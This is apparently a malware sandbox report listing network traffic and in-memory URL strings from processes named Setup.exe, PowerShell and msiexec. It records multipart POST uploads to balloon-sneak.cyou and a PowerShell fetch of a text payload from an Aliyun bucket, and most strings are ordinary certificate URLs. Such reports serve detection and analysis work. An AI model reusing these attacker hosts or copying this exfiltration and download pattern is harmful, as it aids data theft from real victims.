Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0L7DAZD1Q08RELDDAQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12837Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SUB5EQHZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15019Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EJ435EBWTTYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20527Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YF0REV3XAYZX6EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1226Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JJX34UEW35JP2GY5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588854Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 84Host: balloon-sneak.cyou
Source: global traffic	HTTP traffic detected: GET /feouewe5/raw HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: rentry.co

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bUAmCazc.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sandisk2.oss-ap-northeast-2.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /feouewe5/raw HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: rentry.co

Source: global traffic	DNS traffic detected: DNS query: sandisk2.oss-ap-northeast-2.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: balloon-sneak.cyou
Source: global traffic	DNS traffic detected: DNS query: rentry.co

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: balloon-sneak.cyou

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 29 Nov 2024 14:47:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 8793Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge

Source: Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c0rl.m%L
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000003.00000002.2920203144.000001EE22609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://contoso.com/rdweb/Feed/webfeed.aspx.
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.d
Source: Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicer
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Updater.ex.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.c
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE2369B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE23691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE235F0000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp, Updater.ex.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
